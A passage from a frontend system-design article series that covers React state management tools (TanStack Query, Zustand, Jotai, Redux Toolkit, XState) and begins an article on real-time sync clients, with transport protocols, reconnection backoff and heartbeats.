```ts title="query-config.ts" collapse={1-2,12-20}
import { QueryClient } from "@tanstack/react-query"

// Aggressive refetching (default): always revalidate
const defaultConfig = {
  staleTime: 0, // Data immediately stale
  gcTime: 5 * 60_000, // Keep in cache 5 minutes
}

// Conservative refetching: stable data
const stableDataConfig = {
  staleTime: 15 * 60_000, // Fresh for 15 minutes
  gcTime: 30 * 60_000, // Cache for 30 minutes
}

const queryClient = new QueryClient({
  defaultOptions: {
    queries: defaultConfig,
  },
})
```

**When staleTime > 0 makes sense:**

- User profile data (changes infrequently)
- Configuration/feature flags
- Reference data (countries, currencies)
- Data with explicit invalidation triggers

**Design rationale behind staleTime: 0 default:** TanStack Query chose safety over efficiency. Stale data causes bugs that are hard to trace; extra network requests are visible and debuggable.

### Automatic Refetch Triggers

TanStack Query refetches stale queries on:

| Trigger                | Default | Rationale                            |
| ---------------------- | ------- | ------------------------------------ |
| `refetchOnMount`       | true    | Component might show stale data      |
| `refetchOnWindowFocus` | true    | User returned, data may have changed |
| `refetchOnReconnect`   | true    | Network was down, data may be stale  |

**Production consideration:** Disable `refetchOnWindowFocus` for data that rarely changes or where refetch is expensive:

```ts collapse={1-3}
import { useQuery } from "@tanstack/react-query"

useQuery({
  queryKey: ["analytics", "dashboard"],
  queryFn: fetchDashboard,
  refetchOnWindowFocus: false, // Heavy query, explicit refresh only
  staleTime: 5 * 60_000,
})
```

### Request Deduplication

TanStack Query automatically deduplicates in-flight requests:

```ts collapse={1-4}
// Both components mount simultaneously
// Only ONE network request is made

// Component A
const { data } = useQuery({ queryKey: ["user", 1], queryFn: fetchUser })

// Component B (mounts at same time)
const { data } = useQuery({ queryKey: ["user", 1], queryFn: fetchUser })
// ↑ Shares the in-flight request from Component A
```

**How it works:** Query keys are serialized and compared. If a request for that key is already pending, subsequent calls wait for the same Promise.

### Cache Invalidation Strategies

Invalidation marks queries as stale, triggering refetch if they're currently rendered.

```ts title="invalidation-patterns.ts" collapse={1-3,25-30}
import { useQueryClient } from "@tanstack/react-query"

const queryClient = useQueryClient()

// Invalidate all queries starting with 'todos'
queryClient.invalidateQueries({ queryKey: ["todos"] })

// Invalidate exact key only
queryClient.invalidateQueries({
  queryKey: ["todos", "list"],
  exact: true,
})

// Predicate-based invalidation
queryClient.invalidateQueries({
  predicate: (query) => query.queryKey[0] === "todos" && query.state.data?.some((todo) => todo.assignee === userId),
})

// Invalidate and refetch immediately (don't wait for render)
queryClient.invalidateQueries({
  queryKey: ["todos"],
  refetchType: "all", // Also refetch inactive queries
})
```

**Design decision:** Invalidation is separate from refetching. `invalidateQueries` only marks as stale—actual refetch happens when the query is rendered. Use `refetchQueries` for immediate network call regardless of render state.

### Optimistic Updates

Update the UI immediately, roll back on error:

```ts title="optimistic-update.ts" collapse={1-5,35-45}
import { useMutation, useQueryClient } from "@tanstack/react-query"

interface Todo {
  id: string
  title: string
  completed: boolean
}

const queryClient = useQueryClient()

const mutation = useMutation({
  mutationFn: updateTodo,
  onMutate: async (newTodo) => {
    // Cancel outgoing refetches (they'd overwrite optimistic update)
    await queryClient.cancelQueries({ queryKey: ["todos"] })

    // Snapshot previous value
    const previous = queryClient.getQueryData<Todo[]>(["todos"])

    // Optimistically update
    queryClient.setQueryData<Todo[]>(["todos"], (old) => old?.map((t) => (t.id === newTodo.id ? newTodo : t)))

    // Return snapshot for rollback
    return { previous }
  },
  onError: (err, newTodo, context) => {
    // Roll back on error
    queryClient.setQueryData(["todos"], context?.previous)
  },
  onSettled: () => {
    // Refetch to ensure server state
    queryClient.invalidateQueries({ queryKey: ["todos"] })
  },
})
```

**Why `onSettled` invalidation:** Even on success, the server might have modified the data (timestamps, computed fields). Invalidation ensures the cache matches server state.

### SWR Comparison

SWR takes a more minimal approach:

| Feature               | TanStack Query     | SWR                   |
| --------------------- | ------------------ | --------------------- |
| Devtools              | Built-in           | Community             |
| Mutations             | `useMutation` hook | Manual with `mutate`  |
| Infinite queries      | `useInfiniteQuery` | `useSWRInfinite`      |
| Optimistic updates    | Via `onMutate`     | Via `optimisticData`  |
| Request deduplication | Automatic          | Configurable interval |
| Bundle size           | ~13KB              | ~4KB                  |

**When to choose SWR:** Simpler apps, smaller bundle priority, preference for minimal API. SWR's `mutate` function handles most cases without dedicated mutation hooks.

## Global UI State

### When Global State Is Necessary

Global state is appropriate when:

1. **Multiple unrelated components** need the same data
2. **No common ancestor** can reasonably hold the state
3. **State persists** across route changes

Common legitimate cases:

- Authentication state
- Theme/appearance settings
- Feature flags
- Toast/notification queue
- Modal registry

### When to Avoid Global State

**Server state doesn't belong in global stores.** This was the primary mistake of early Redux applications. Patterns like "fetch in action creator, store in Redux" create:

- Manual cache invalidation logic
- No request deduplication
- No background refetch
- Complex loading state management

> "With the hooks provided by React, you can share these pieces of application state with the rest of the application. No need for a library to do it for you."
> — Kent C. Dodds, "Application State Management with React"

### React Context Limitations

Context is not optimized for frequent updates:

```ts title="context-problem.tsx" collapse={1-3}
import { createContext, useContext, useState } from 'react'

interface AppState {
  user: User
  theme: 'light' | 'dark'
  notifications: Notification[]
}

const AppContext = createContext<AppState | null>(null)

function App() {
  const [state, setState] = useState<AppState>(/* ... */)

  return (
    <AppContext.Provider value={state}>
      <Header />      {/* Re-renders when notifications change */}
      <Sidebar />     {/* Re-renders when theme changes */}
      <NotificationBell />  {/* The only component that needs notifications */}
    </AppContext.Provider>
  )
}
```

**Problem:** Every context consumer re-renders when _any_ part of the context value changes, even if that consumer only uses a subset.

**Solutions:**

1. **Split contexts** — One context per concern (theme, auth, notifications)
2. **Memoize values** — `useMemo` to prevent new object references
3. **External stores** — Zustand/Jotai with selective subscriptions

### Zustand: Module-First State

Zustand (12KB gzipped) provides a minimal API with selective subscriptions:

```ts title="store.ts" collapse={1-2}
import { create } from 'zustand'

interface BearStore {
  bears: number
  fish: number
  increasePopulation: () => void
  eatFish: () => void
}

const useBearStore = create<BearStore>((set) => ({
  bears: 0,
  fish: 10,
  increasePopulation: () => set((state) => ({ bears: state.bears + 1 })),
  eatFish: () => set((state) => ({ fish: state.fish - 1 })),
}))

// Selective subscription — only re-renders when bears changes
function BearCounter() {
  const bears = useBearStore((state) => state.bears)
  return <h1>{bears} bears</h1>
}

// Different subscription — only re-renders when fish changes
function FishCounter() {
  const fish = useBearStore((state) => state.fish)
  return <h1>{fish} fish</h1>
}
```

**Design rationale:** Zustand uses `useSyncExternalStore` internally. Selectors enable components to subscribe to specific slices, avoiding the Context re-render problem.

### Jotai: Atomic State

Jotai (bottom-up) vs Zustand (top-down):

```ts title="atoms.ts" collapse={1-2}
import { atom, useAtom, useAtomValue, useSetAtom } from 'jotai'

// Primitive atoms
const countAtom = atom(0)
const doubledAtom = atom((get) => get(countAtom) * 2)  // Derived

// Component only subscribes to what it reads
function Counter() {
  const [count, setCount] = useAtom(countAtom)
  return <button onClick={() => setCount(c => c + 1)}>{count}</button>
}

// Read-only subscription (no setter in bundle)
function Display() {
  const doubled = useAtomValue(doubledAtom)
  return <span>{doubled}</span>
}

// Write-only (no subscription, no re-render on change)
function ResetButton() {
  const setCount = useSetAtom(countAtom)
  return <button onClick={() => setCount(0)}>Reset</button>
}
```

**When Jotai over Zustand:**

- Fine-grained reactivity needed (many independent pieces)
- Derived state with complex dependency graphs
- Preference for bottom-up composition

### Redux Toolkit: When Scale Demands It

Redux remains appropriate for:

- Large teams needing strict patterns
- Complex middleware requirements (sagas, thunks)
- Time-travel debugging critical
- Existing Redux investment

**Modern Redux ≠ boilerplate Redux.** RTK (Redux Toolkit) eliminates most ceremony:

```ts title="slice.ts" collapse={1-3}
import { createSlice, PayloadAction } from "@reduxjs/toolkit"

interface CounterState {
  value: number
}

const counterSlice = createSlice({
  name: "counter",
  initialState: { value: 0 } as CounterState,
  reducers: {
    increment: (state) => {
      state.value += 1
    }, // Immer handles immutability
    incrementByAmount: (state, action: PayloadAction<number>) => {
      state.value += action.payload
    },
  },
})

export const { increment, incrementByAmount } = counterSlice.actions
export default counterSlice.reducer
```

### Decision Matrix

| Scenario                    | Recommended Tool        |
| --------------------------- | ----------------------- |
| Server data                 | TanStack Query / SWR    |
| Theme, auth                 | Context (low frequency) |
| Module state (single store) | Zustand                 |
| Fine-grained atoms          | Jotai                   |
| Large team, middleware      | Redux Toolkit           |
| Complex workflows           | XState                  |

## Form State Management

### Why Form Libraries Exist

Native controlled inputs re-render on every keystroke:

```ts collapse={1-2}
// Every character typed re-renders the entire component
function NaiveForm() {
  const [values, setValues] = useState({ email: '', password: '' })

  return (
    <form>
      <input
        value={values.email}
        onChange={(e) => setValues(v => ({ ...v, email: e.target.value }))}
      />
      {/* Form re-renders on every keystroke */}
    </form>
  )
}
```

With 10+ fields and validation, this creates noticeable lag on lower-end devices.

### React Hook Form

React Hook Form (12KB) uses uncontrolled inputs with refs:

```ts title="form.tsx" collapse={1-4,30-35}
import { useForm } from 'react-hook-form'
import { zodResolver } from '@hookform/resolvers/zod'
import { z } from 'zod'

const schema = z.object({
  email: z.string().email(),
  password: z.string().min(8),
})

type FormData = z.infer<typeof schema>

function LoginForm() {
  const {
    register,
    handleSubmit,
    formState: { errors, isSubmitting }
  } = useForm<FormData>({
    resolver: zodResolver(schema),
  })

  const onSubmit = async (data: FormData) => {
    await login(data)
  }

  return (
    <form onSubmit={handleSubmit(onSubmit)}>
      <input {...register('email')} />
      {errors.email && <span>{errors.email.message}</span>}

      <input type="password" {...register('password')} />
      {errors.password && <span>{errors.password.message}</span>}

      <button disabled={isSubmitting}>Submit</button>
    </form>
  )
}
```

**Performance model:** Inputs are uncontrolled (DOM holds value). Re-renders only happen when:

- `formState` properties you're subscribed to change
- Explicit `watch()` calls
- Validation errors change

### When to Use Native Forms

React Hook Form is overkill for:

- Login forms (2-3 fields)
- Search inputs
- Simple settings toggles

Native HTML validation covers basic cases:

```html
<input type="email" required minlength="3" pattern="[a-z]+" />
```

## Derived State and Selectors

### Compute, Don't Store

Storing derived data creates synchronization bugs:

```ts
// ❌ Storing derived state
interface State {
  items: Item[]
  completedItems: Item[] // Derived from items
  completedCount: number // Derived from completedItems
}

// ✅ Computing derived state
interface State {
  items: Item[]
}

const completedItems = items.filter((i) => i.completed)
const completedCount = completedItems.length
```

**Why computation is better:**

1. Single source of truth (no sync bugs)
2. Less state to manage
3. Automatic consistency

### Memoized Selectors

For expensive computations, memoize with Reselect or `useMemo`:

```ts title="selectors.ts" collapse={1-3}
import { createSelector } from "reselect"

const selectItems = (state: State) => state.items

const selectCompletedItems = createSelector([selectItems], (items) => items.filter((i) => i.completed))

const selectCompletedCount = createSelector([selectCompletedItems], (completed) => completed.length)

// Reselect memoizes by reference equality
// If items hasn't changed, cached result is returned
```

**How Reselect works:** Input selectors are called first. If their results are referentially equal to the previous call, the output selector is skipped and cached result returned.

### Zustand Selectors

```ts collapse={1-2}
import { useStore } from "./store"

// Component re-renders only when filtered result changes
function CompletedList() {
  const completed = useStore((state) => state.items.filter((i) => i.completed))
  // ⚠️ Creates new array every time — need memoization
}

// Better: external memoized selector
import { createSelector } from "reselect"

const selectCompleted = createSelector(
  (state: State) => state.items,
  (items) => items.filter((i) => i.completed),
)

function CompletedList() {
  const completed = useStore(selectCompleted) // Stable reference
}
```

## State Machines with XState

### When State Machines Are Necessary

State machines excel when:

1. **States have impossible combinations** — `isLoading && hasError && hasData` shouldn't all be true
2. **Transitions matter** — Can only go from `idle` → `loading`, not `idle` → `success`
3. **Complex sequences** — Multi-step wizards, checkout flows
4. **Parallel states** — Audio playing while video loading

### XState v5 Example

```ts title="fetch-machine.ts" collapse={1-3}
import { setup, assign, fromPromise } from "xstate"

interface Context {
  data: User | null
  error: Error | null
}

const fetchMachine = setup({
  types: {} as {
    context: Context
    events: { type: "FETCH"; id: string } | { type: "RETRY" }
  },
  actors: {
    fetchUser: fromPromise(async ({ input }: { input: { id: string } }) => {
      const response = await fetch(`/api/users/${input.id}`)
      if (!response.ok) throw new Error("Failed")
      return response.json()
    }),
  },
}).createMachine({
  id: "fetch",
  initial: "idle",
  context: { data: null, error: null },
  states: {
    idle: {
      on: { FETCH: "loading" },
    },
    loading: {
      invoke: {
        src: "fetchUser",
        input: ({ event }) => ({ id: event.id }),
        onDone: {
          target: "success",
          actions: assign({ data: ({ event }) => event.output }),
        },
        onError: {
          target: "failure",
          actions: assign({ error: ({ event }) => event.error }),
        },
      },
    },
    success: {
      on: { FETCH: "loading" },
    },
    failure: {
      on: { RETRY: "loading" },
    },
  },
})
```

**What XState provides:**

- **Type-safe transitions** — TypeScript enforces valid state/event combinations
- **Visualization** — Export to state diagram
- **Testing** — Model-based testing against the machine
- **Impossible states eliminated** — Can't be loading and failed simultaneously

### When State Machines Are Overkill

- Simple toggles (open/closed)
- Linear forms without complex validation
- CRUD operations (TanStack Query handles state)

**Rule of thumb:** If you can express it clearly with `useState` + a few conditionals, don't add XState's complexity.

## Real-World Implementations

### Figma: WebGL + Custom State

**Challenge:** Millions of objects on infinite canvas

**Approach:**

- WebGL rendering (bypasses DOM entirely)
- R-tree spatial indexing for viewport queries
- Level-of-detail: simplify distant objects
- Custom state synchronization (no off-the-shelf library)

**Key insight:** At Figma's scale, no existing state library worked. They built custom solutions optimized for their specific access patterns.

### Notion: Block-Based State

**Challenge:** Documents with 10K+ blocks, real-time collaboration

**Approach:**

- Block-based data model (each block has type, content, children)
- Redux for client state
- Transactions for grouping changes
- Kafka + Spark for server-side propagation

**Local update pattern:**

1. User edits block
2. Change grouped into transaction
3. Optimistic update to Redux
4. Transaction sent to server
5. Server broadcasts to collaborators

### Linear: MobX + WebSockets

**Challenge:** Real-time project management across teams

**Approach:**

- MobX for reactive state
- Bootstrap full state on load
- WebSocket stream of changesets
- Merge local and remote changes continuously

**Why MobX:** Linear chose observable-based reactivity for automatic UI updates when any referenced data changes.

### Discord: Event Sourcing for Messages

**Challenge:** Millions of messages per second

**Architecture evolution:**

1. MongoDB (couldn't scale)
2. Cassandra (scales but complex)
3. Event sourcing for message history

**State requirements:**

- Stateful processes tracking user → socket mapping
- Separate processes holding actual WebSocket connections
- Event log as source of truth for message state

## Performance Optimization

### Re-render Prevention

| Technique                   | When to Use                    | Effort |
| --------------------------- | ------------------------------ | ------ |
| Selector functions          | Always with Zustand/Redux      | Low    |
| `useAtomValue`/`useSetAtom` | Jotai read/write separation    | Low    |
| `React.memo`                | Expensive child components     | Medium |
| Context splitting           | Multiple independent concerns  | Medium |
| State collocation           | State used by single component | Low    |

### State Normalization

For relational data, normalize to avoid duplication:

```ts
// ❌ Denormalized (data duplication)
interface State {
  posts: Array<{
    id: string
    author: { id: string; name: string } // Duplicated across posts
    content: string
  }>
}

// ✅ Normalized (single source of truth)
interface State {
  users: Record<string, User>
  posts: Record<string, { id: string; authorId: string; content: string }>
}
```

**Benefits:**

- O(1) lookup by ID
- Single place to update user name
- Smaller state size (no duplication)

### Mobile Considerations

Mobile devices have tighter constraints:

| Constraint | Desktop    | Mobile             | Mitigation                |
| ---------- | ---------- | ------------------ | ------------------------- |
| Memory     | 500MB–1GB  | 50–200MB           | Aggressive cache eviction |
| CPU        | Multi-core | Thermal throttling | Reduce computation        |
| Network    | Stable     | Intermittent       | Offline-first patterns    |
| Battery    | N/A        | Critical           | Reduce background sync    |

**Offline-first pattern:**

1. Store critical data in IndexedDB
2. Queue mutations when offline
3. Sync when connection restored
4. Resolve conflicts (last-write-wins or merge)

## Browser Constraints

### Storage Quotas

| Storage      | Chrome       | Safari | Firefox      |
| ------------ | ------------ | ------ | ------------ |
| localStorage | 5MB          | 5MB    | 5MB          |
| IndexedDB    | ~50% of disk | 1GB    | ~50% of disk |
| Cache API    | ~50% of disk | 50MB   | ~50% of disk |

**Safari limitation:** Safari's 1GB IndexedDB cap and 50MB Cache API limit make it the constraint for offline-heavy apps.

### Main Thread Budget

60fps = 16ms per frame. State updates compete with:

- Layout calculation
- Paint
- JavaScript execution
- Garbage collection

**Mitigation strategies:**

1. **Web Workers** — Heavy computation off main thread
2. **`requestIdleCallback`** — Non-critical state updates
3. **Chunked updates** — Split large state changes across frames

## Conclusion

State management in 2025 is solved—the challenge is selecting the right solution for each category:

1. **Server state → TanStack Query/SWR.** Stop managing caches manually.
2. **UI state → Keep it local.** `useState` handles most cases.
3. **Shared UI state → Zustand or Jotai.** Not Redux unless you need its ecosystem.
4. **Form state → React Hook Form.** Performance matters at scale.
5. **Shareable state → URL params.** Users can bookmark and share.
6. **Complex workflows → XState.** When state transitions are the problem.

The pattern across successful products: minimize global state, specialize tools by category, and push server data to purpose-built libraries.

## Appendix

### Prerequisites

- React hooks (`useState`, `useReducer`, `useContext`, `useMemo`)
- Async JavaScript (Promises, async/await)
- REST API patterns
- Basic understanding of caching concepts

### Terminology

| Term                   | Definition                                                       |
| ---------------------- | ---------------------------------------------------------------- |
| **Stale data**         | Cached data that may no longer match the server                  |
| **Cache invalidation** | Marking cached data as stale, triggering refetch                 |
| **Optimistic update**  | Updating UI before server confirms, rolling back on error        |
| **Derived state**      | State computed from other state, not stored independently        |
| **Normalized state**   | Flat structure with entities keyed by ID, references by ID       |
| **Selector**           | Function that extracts/computes a slice of state                 |
| **Atom**               | Minimal unit of state in atomic state management (Jotai, Recoil) |

### Summary

- **Match tool to category:** Server state needs TanStack Query/SWR, not Redux
- **Server state libraries handle:** Caching, deduplication, background refetch, optimistic updates
- **Context re-renders all consumers:** Split contexts or use external stores for frequent updates
- **Zustand for modules, Jotai for atoms:** Choose based on state granularity needs
- **Compute derived state:** Don't store what you can calculate
- **URL state is shareable state:** Filters, pagination, view modes belong in query params

### References

- [TanStack Query Documentation](https://tanstack.com/query/latest) — Caching, invalidation, mutations
- [SWR Documentation](https://swr.vercel.app/) — Stale-while-revalidate implementation
- [RFC 5861: HTTP Cache-Control Extensions](https://datatracker.ietf.org/doc/html/rfc5861) — Origin of stale-while-revalidate
- [Zustand Documentation](https://zustand.docs.pmnd.rs/) — Module-first state management
- [Jotai Documentation](https://jotai.org/) — Atomic state management
- [XState Documentation](https://xstate.js.org/docs/) — State machines and actors
- [React Hook Form Documentation](https://react-hook-form.com/) — Performant form handling
- [Kent C. Dodds: Application State Management with React](https://kentcdodds.com/blog/application-state-management-with-react) — When to use which approach
- [Redux: Normalizing State Shape](https://redux.js.org/usage/structuring-reducers/normalizing-state-shape) — Entity normalization patterns
- [Figma Engineering Blog](https://www.figma.com/blog/section/engineering/) — Custom state at scale
- [Notion: The data model behind Notion](https://www.notion.so/blog/data-model-behind-notion) — Block-based architecture
- [Linear Engineering](https://linear.app/blog) — Real-time state sync patterns

---

## Real-Time Sync Client

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/frontend-system-design/real-time-sync-client
**Category:** System Design / Frontend System Design
**Description:** Client-side architecture for real-time data synchronization: transport protocols, connection management, conflict resolution, and state reconciliation patterns used by Figma, Notion, Discord, and Linear.

# Real-Time Sync Client

Client-side architecture for real-time data synchronization: transport protocols, connection management, conflict resolution, and state reconciliation patterns used by Figma, Notion, Discord, and Linear.

<figure>

![Real-time sync client architecture: optimistic local state, sync engine with persistence, and transport abstraction connecting to authoritative server state.](./real-time-sync-client-architecture-optimistic-local-state-sync-engine-with-persi.svg)

<figcaption>Real-time sync client architecture: optimistic local state, sync engine with persistence, and transport abstraction connecting to authoritative server state.</figcaption>
</figure>

## Abstract

Real-time sync is bidirectional state convergence between client and server under network uncertainty. The core tension: users expect instant feedback, but the server is the source of truth.

**Mental model:**

1. **Optimistic local state** — Apply mutations immediately; rollback on server rejection
2. **Transport selection** — WebSocket for bidirectional low-latency; SSE for server-push simplicity; polling as fallback
3. **Connection resilience** — Exponential backoff with jitter; heartbeats detect stale connections; reconnect without data loss
4. **Conflict resolution** — Last-write-wins at property level (Figma), Operational Transform for text (Google Docs), CRDTs for offline-first (Notion, Linear)
5. **State reconciliation** — Server acknowledgments; re-apply pending local mutations on top of authoritative state
6. **Presence** — Ephemeral metadata (cursors, typing indicators) via heartbeat or CRDT broadcast

The approach depends on data shape, offline requirements, and acceptable consistency latency.

## The Challenge

### Why Real-Time Sync Is Hard

Real-time sync violates the request-response model that HTTP assumes. Three constraints create tension:

1. **Latency vs. Consistency** — Users expect instant feedback, but network round-trips are unavoidable
2. **Offline vs. Conflicts** — Offline edits require local storage, which creates divergent state that must merge
3. **Scale vs. Complexity** — Millions of connections require infrastructure that single-server models cannot provide

### Browser Constraints

| Resource                         | Limit                | Impact                                                |
| -------------------------------- | -------------------- | ----------------------------------------------------- |
| WebSocket connections per domain | 6–30                 | Multiple tabs share quota; exhaustion causes failures |
| SSE connections (HTTP/1.1)       | 6 per domain         | Shared across all tabs; HTTP/2 raises to ~100         |
| Main thread budget               | 16ms/frame           | Long sync operations cause UI jank                    |
| IndexedDB quota                  | 50% of disk (Chrome) | Large local caches can hit quota errors               |

WebSocket connections prevent the browser's back/forward cache (bfcache) from storing the page. Close connections on `pagehide` to preserve navigation performance.

### Device and Network Profiles

| Scenario        | Latency   | Constraints                                       |
| --------------- | --------- | ------------------------------------------------- |
| Desktop + fiber | 10–50ms   | Full WebSocket, generous caching                  |
| Mobile + LTE    | 50–200ms  | Battery drain from radio wake; bundle updates     |
| Mobile + 3G     | 200–500ms | Aggressive local caching; defer non-critical sync |
| Offline         | N/A       | Queue mutations locally; replay on reconnect      |

Cellular radio "tail time" keeps the antenna active for seconds after each transmission. Batch messages to minimize battery impact.

## Transport Protocols

### WebSocket (RFC 6455)

WebSocket provides full-duplex communication over a single TCP connection. After an HTTP handshake, frames flow bidirectionally with minimal overhead.

**Protocol characteristics:**

| Property       | Value                          |
| -------------- | ------------------------------ |
| Direction      | Bidirectional                  |
| Frame overhead | 2–14 bytes (after handshake)   |
| Data types     | Text (UTF-8), binary           |
| Auto-reconnect | No (must implement)            |
| Compression    | Per-message DEFLATE (RFC 7692) |

**Handshake:**

```http
GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
```

The server responds with `101 Switching Protocols`, and the connection upgrades to WebSocket framing.

**Design reasoning:** RFC 6455 chose HTTP-compatible handshake so WebSocket traffic traverses proxies and firewalls that allow HTTP. The `Sec-WebSocket-Key` prevents cross-protocol attacks by requiring the server to prove it understands WebSocket.

**Limitations:**

- **No backpressure** — If the server sends faster than the client processes, messages buffer in memory until the browser crashes or discards data. Experimental WebSocketStream (Chrome 124+) adds backpressure support.
- **No multiplexing** — Each logical channel requires a separate connection or application-level multiplexing.
- **Connection limits** — Browsers cap WebSocket connections per domain (typically 6–30). Multiple tabs compete for this quota.

**When to use:** Chat, collaborative editing, gaming, financial tickers—any scenario requiring low-latency bidirectional communication.

### Server-Sent Events (SSE)

SSE is server-to-client push over HTTP. The server holds an open connection and streams events as `text/event-stream`.

**Event format:**

```
event: message
data: {"user":"alice","text":"hello"}
id: 12345
retry: 3000

: keep-alive comment
```

| Field   | Purpose                                    |
| ------- | ------------------------------------------ |
| `event` | Event type name (triggers named listeners) |
| `data`  | Payload (UTF-8 only)                       |
| `id`    | Resume token for reconnection              |
| `retry` | Reconnection delay in milliseconds         |

**Design reasoning:** SSE uses HTTP, so it works through any proxy or firewall that allows HTTP. The `id` field enables resumption: on reconnect, the browser sends `Last-Event-ID`, and the server can replay missed events.

**Advantages over WebSocket:**

- Built-in reconnection with configurable delay
- Works through restrictive corporate proxies
- Simpler server implementation (any HTTP server)

**Limitations:**

- Server-to-client only (client uses HTTP POST for uplink)
- UTF-8 text only (no binary)
- HTTP/1.1 limits to 6 connections per domain across all tabs

**When to use:** Live feeds, notifications, dashboards—scenarios where the server pushes and the client occasionally posts.

### Long Polling

Long polling simulates push by having the client hold an open HTTP request until the server has data or timeout.

**Flow:**

1. Client sends `GET /events?since=12345`
2. Server holds connection until new data exists or 30s timeout
3. Server responds with data (or empty on timeout)
4. Client immediately sends next request

**Design reasoning:** Long polling works everywhere HTTP works. Before WebSocket existed, this was the only reliable cross-browser push mechanism. It remains useful for restrictive networks or legacy browser support.

**Trade-offs:**

| Aspect                    | Long Polling                   | WebSocket         | SSE            |
| ------------------------- | ------------------------------ | ----------------- | -------------- |
| Latency                   | Medium (one RTT per message)   | Low               | Low            |
| Overhead                  | Full HTTP headers per response | 2 bytes/frame     | ~5 bytes/event |
| Firewall compatibility    | Excellent                      | Sometimes blocked | Excellent      |
| Implementation complexity | Low                            | Medium            | Low            |

**When to use:** Fallback when WebSocket and SSE fail; infrequent updates where latency is acceptable.

### Decision Framework

![Diagram](./diagram-1.svg)

## Connection Management

### Reconnection with Exponential Backoff

Network disconnections are inevitable. Naive immediate retry causes thundering herd problems when servers recover. Exponential backoff with jitter spreads reconnection attempts.

```typescript title="reconnection-manager.ts" collapse={1-2, 35-45}
// Types and constants
type ReconnectionOptions = {
  initialDelay?: number
  maxDelay?: number
  multiplier?: number
  jitter?: number
  maxAttempts?: number
}

class ReconnectionManager {
  private currentDelay: number
  private attempts = 0

  constructor(private options: Required<ReconnectionOptions>) {
    this.currentDelay = options.initialDelay
  }

  // Core logic: calculate next delay with jitter
  getNextDelay(): number | null {
    if (this.attempts >= this.options.maxAttempts) {
      return null // Give up
    }

    const jitterRange = this.currentDelay * this.options.jitter
    const jitter = Math.random() * jitterRange * 2 - jitterRange
    const delay = Math.min(this.currentDelay + jitter, this.options.maxDelay)

    this.currentDelay = Math.min(this.currentDelay * this.options.multiplier, this.options.maxDelay)
    this.attempts++

    return delay
  }

  reset(): void {
    this.currentDelay = this.options.initialDelay
    this.attempts = 0
  }
}

// Usage
const manager = new ReconnectionManager({
  initialDelay: 1000,
  maxDelay: 30000,
  multiplier: 2,
  jitter: 0.1,
  maxAttempts: 10,
})
```

**Design reasoning:**

- **Exponential growth** caps at a maximum (30s typical) to prevent infinite waits
- **Jitter** (±10%) desynchronizes clients that disconnected at the same time
- **Attempt limit** prevents infinite loops against a permanently down service

**Production considerations:**

| Error Type       | Retry Strategy                |
| ---------------- | ----------------------------- |
| Network timeout  | Full backoff                  |
| 5xx server error | Full backoff                  |
| 401 Unauthorized | Do not retry; re-authenticate |
| 429 Rate Limited | Honor `Retry-After` header    |
| DNS failure      | Backoff with longer max delay |

### Heartbeat and Connection Health

TCP keep-alives are insufficient for application-level connection health. A dead connection may not trigger a TCP reset for minutes. Application heartbeats detect stale connections faster.

```typescript title="heartbeat.ts" collapse={1-4, 30-40}
// WebSocket wrapper with heartbeat
type HeartbeatOptions = {
  interval: number // How often to send ping
  timeout: number // How long to wait for pong
}

class HeartbeatConnection {
  private pingTimer: number | null = null
  private pongTimer: number | null = null
  private ws: WebSocket

  constructor(
    url: string,
    private options: HeartbeatOptions,
  ) {
    this.ws = new WebSocket(url)
    this.ws.onopen = () => this.startHeartbeat()
    this.ws.onmessage = (e) => this.handleMessage(e)
    this.ws.onclose = () => this.stopHeartbeat()
  }

  // Core heartbeat logic
  private startHeartbeat(): void {
    this.pingTimer = window.setInterval(() => {
      this.ws.send(JSON.stringify({ type: "ping", ts: Date.now() }))

      this.pongTimer = window.setTimeout(() => {
        // No pong received - connection is dead
        this.ws.close(4000, "Heartbeat timeout")
      }, this.options.timeout)
    }, this.options.interval)
  }

  private handleMessage(event: MessageEvent): void {
    const data = JSON.parse(event.data)
    if (data.type === "pong") {
      if (this.pongTimer) clearTimeout(this.pongTimer)
      return
    }
    // Handle application messages...
  }

  private stopHeartbeat(): void {
    if (this.pingTimer) clearInterval(this.pingTimer)
    if (this.pongTimer) clearTimeout(this.pongTimer)
  }
}
```

**Typical values:**

| Setting                        | Value  | Reasoning                                        |
| ------------------------------ | ------ | ------------------------------------------------ |
| Ping interval                  | 15–30s | Balance between detection speed and bandwidth    |
| Pong timeout                   | 5–10s  | Allow for network jitter                         |
| Missed pings before disconnect | 2–3    | Avoid false positives from single dropped packet |

### State Recovery on Reconnect

Reconnection without state recovery loses messages sent during disconnection. Two patterns handle this:

**1. Sequence-based recovery:**

```typescript title="sequence-recovery.ts" collapse={1-5, 25-35}
// Track last acknowledged sequence
interface Message {
  seq: number
  payload: unknown
}

class SequenceRecovery {
  private lastAckedSeq = 0
  private pendingMessages: Message[] = []

  send(payload: unknown): void {
    const msg: Message = {
      seq: this.pendingMessages.length + this.lastAckedSeq + 1,
      payload,
    }
    this.pendingMessages.push(msg)
    this.ws.send(JSON.stringify(msg))
  }

  // On reconnect, request replay from last ack
  onReconnect(): void {
    this.ws.send(
      JSON.stringify({
        type: "resume",
        lastSeq: this.lastAckedSeq,
      }),
    )
  }

  onAck(seq: number): void {
    this.lastAckedSeq = seq
    this.pendingMessages = this.pendingMessages.filter((m) => m.seq > seq)
  }

  onServerReplay(messages: Message[]): void {
    // Server sends missed messages since lastSeq
    for (const msg of messages) {
      this.handleMessage(msg)
    }
  }
}
```

**2. Event sourcing recovery (SSE):**

SSE's `Last-Event-ID` header automatically requests replay:

```typescript title="sse-recovery.ts"
const eventSource = new EventSource("/events")

eventSource.onmessage = (event) => {
  // event.lastEventId contains the id from the server
  // On reconnect, browser automatically sends Last-Event-ID header
  processEvent(JSON.parse(event.data))
}
```

**Design reasoning:** Sequence numbers are simpler but require server-side storage of recent messages. Event sourcing naturally fits event logs but requires the server to support replay from arbitrary points.

## Message Handling

### Ordering Guarantees

Out-of-order delivery happens when:

- Multiple WebSocket connections exist (load balancing)
- Server processes messages in parallel
- Network path changes mid-stream

**Strategies:**

| Strategy                    | Complexity | Guarantee            |
| --------------------------- | ---------- | -------------------- |
| Single connection, FIFO     | Low        | Total order          |
| Sequence numbers per sender | Medium     | Per-sender order     |
| Vector clocks               | High       | Causal order         |
| Accept disorder             | None       | Eventual consistency |

For most applications, per-sender ordering suffices:

```typescript title="ordered-delivery.ts" collapse={1-4}
